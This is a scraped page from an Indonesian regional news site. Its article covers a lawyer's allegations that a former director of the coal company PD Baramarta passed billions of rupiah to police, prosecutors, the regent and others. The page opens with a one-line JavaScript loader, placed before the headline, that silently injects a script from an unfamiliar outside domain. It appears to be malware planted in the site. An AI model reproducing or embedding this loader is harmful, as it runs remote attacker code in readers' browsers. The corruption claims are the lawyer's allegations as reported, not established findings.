(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kuasa Hukum Mantan Dirut Baramarta Buka-bukaan, Aparat, Dewan hingga Kerabat Diduga ‘Kebagian’ Jatah?


KANALKALIMANTAN.COM, MARTAPURA – Terserat kasus dugaan korupsi, mantan Dirut Baramarta Teguh Imanullah ditetapkan sebagai tersangka oleh Kejati Kalsel. TI diduga menyalahgunakan wewenang menilep uang hingga miliaran rupiah. Belakangan prusahaan milik Pemkab Banjar menjadi sumber dana bancakan sejumlah pihak, ternyata diduga dana segar mengalir ke sejumlah pihak, mulai aparat penegak hukum hingga ‘mengalir’ ke kantong pribadi.

Badrul Ain Sanusi, kuasa hukum mantan Direktur Utama (Dirut) Perusahaan Daerah (PD) Baramarta, Teguh Imanullah yang resmi ditahan oleh Kejaksaan Tinggi Kalimantan Selatan atas dugaan tindak pidana korupsi yang menyebabkan kerugian negara sebesar 9,2 miliar, beberkan aliran dana taktis darurat perusahaan daerah, ternyata menjadi dan segar bancakan banyak pihak.

Status ditetapkannya TI sebagai tersangka setelah Kejati Kalsel melalui Bidang Tindak Pidana Khusus melakukan proses penyidikan, pemeriksaan saksi hingga mengumpulkan barang bukti yang dimulai pada 1 Februari 2021.

Dikatakan Badrul, berdasarkan bukti chat pribadi di handphone milik Teguh yang masih belum dihapus -masih disimpan- dan saksi-saksi hingga bukti rekening koran yang telah diterimanya, dirinci sedikitnya ada 16 besar list rekap penggunaan dana taktis Dirut yang menjabat pada tahun 2017 hingga Agustus 2020 itu. Ironisnya mulai dari kepala daerah hingga Instansi penegak hukum diduga telah menerima aliran dana perusahaan yang menggantungkan pendapatannya dari emas hitam tersebut.

 

Daftar rekap dugaan aliran dana korupsi mantan Dirut PD Baramarta ke sejumlah pihak. Foto: ist

“Klien kami dikatakan sebagai pelaku korupsi, namun sebenarnya itu adalah upaya kasbon, mengapa itu bisa terjadi karena permintaan dari para pihak-pihak yang merekalah yang menerima uang Rp 9 miliar lebih itu, sebab setiap aliran dana di kantornya, Teguh selalu melalui mekanisme administrasi perkantoran, kenapa ini bisa terungkap karena berdasarkan catatan-catatan yang ada. Seandainya Teguh melakukan upaya korupsi pasti tidak pernah tercatat dan kita tidak pernah tahu,” jelas Badrul.

Baca juga: Festival Salikur Banjarbaru 2021 Resmi Dimulai, 55 RT Ikut Ramaikan

Utang piutang di perusahaan daerah yang aliran dana jelas tercatat itu, dikatakan Badrul memang telah dilakukan sejak tahun 2017 yang lalu, sejak mantan Dirut menjabat dan berkembang hingga tahun 2020. Dijabarkan Badul Kasus utang piutang ini terungkap karena batubara saat itu telah mengalami penurunan. Sementara mengapa mantan Dirut Baramarta berani melakukan itu karena ada inisiatif usaha yang notabenenya bisa menutupi utang piutang tadi, dengan alasan untuk menjaga hubungan baik kepada penerima aliran dana.

“Nah mitranya siapa yang menerima dana itu? Ya mitranya adalah pejabat-pejabat terkait. Saya katakan baik dari pemerintahan kabupaten, Kepolisian, DPRD, Kejaksaan bahkan dari LSM sendiri yang meminta kepada Mantan Dirut si Teguh. Karena mereka memiliki sebuah kekuasaan dan kekuatan, tentu klien saya sungkan untuk melakukan upaya tidak terhadap permintaan itu tadi,” bebernya.

Lebih jelas Badrul menekankan semua pihak-pihak yang menikmati aliran dana dari Perusahaan Derah Baramarta itu harus diangkut bahkan tidak hanya yang ada di Kabupaten Banjar, namun juga sampai ke pejabat di Polda Kalsel, pihak militer hingga Kejaksaan Tinggi Kalsel.

Baca juga: Peringati Hari Pendidikan Nasional, BEM FKIP ULM Bahas Kesiapan PTM saat Pandemi

“Saya sebenarnya kebingungan, harta milik yang ingin disita dari klien saya bahkan tidak ada, tidak ada satupun yang disita karena memang harta miliknya itu memang tidak ada, kenapa itu terjadi karena Teguh memang tidak memiliki harta yang dimilik pribadi dia, jika memang koruptor pasti banyak hartanya, ini apa dia rumah juga cuman mengontrak, ini mana dan apa asetnya memang tidak ada,” akunya.

Berdasarkan bukti penggunaan dana taktis darurat yang telah dirangkum sejak tahun 2017 hingga 2020 yang diterima Kanalkalimantan.com diantaranya Polres Banjar diduga menerima aliran dana terbesar hingga Rp 2.268.500.000, bapak Bupati Rp 2.052.000.000, konsultan Rp 2.000.000.000, Polda Kalsel Rp 1.486.000.000, Kejaksaan Martapura Rp 1.356.000.000, Kejaksaan Tinggi Kalsel Rp 1.240.000.000, Komisi II dan III DPRD Banjar Rp 710.000.000, Kodim 1006 Martapura Rp 220.000.000, kerabat Bupati (H Fauzi) Rp 145.000.000, Taktis Asisten II Pemkab Banjar Rp 110.00.000, Wakil Bupati Rp 93.000.000, LSM Aliansyah dan wartawan Rp 75.000.000, taktis ibu Bupati Rp 52.500.000, kerabat Bupati (H Uwai) Rp 33.500.000, hingga Ajudan Bupati Rp 45.000.000 dan lain-lain hingga mencapai Rp 1.559.075.937, dengan rincian total penggunaan dana sebesar Rp 13.454.575.934.

Sementara itu dari total dana yang keluar sebesar Rp 13.454.575. 934 itu, sebagian diakui sudah dikembalikan sebesar Rp 4.248.500.000, yang mana hingga sekarang masih ada sisa sebesar Rp 9.206.075.934. (kanalkalimantan.com/tim)

Editor : kk

 

 

 

 


Al Ghifari

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

1 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

3 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

13 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

14 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

14 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

14 jam ago

This website uses cookies.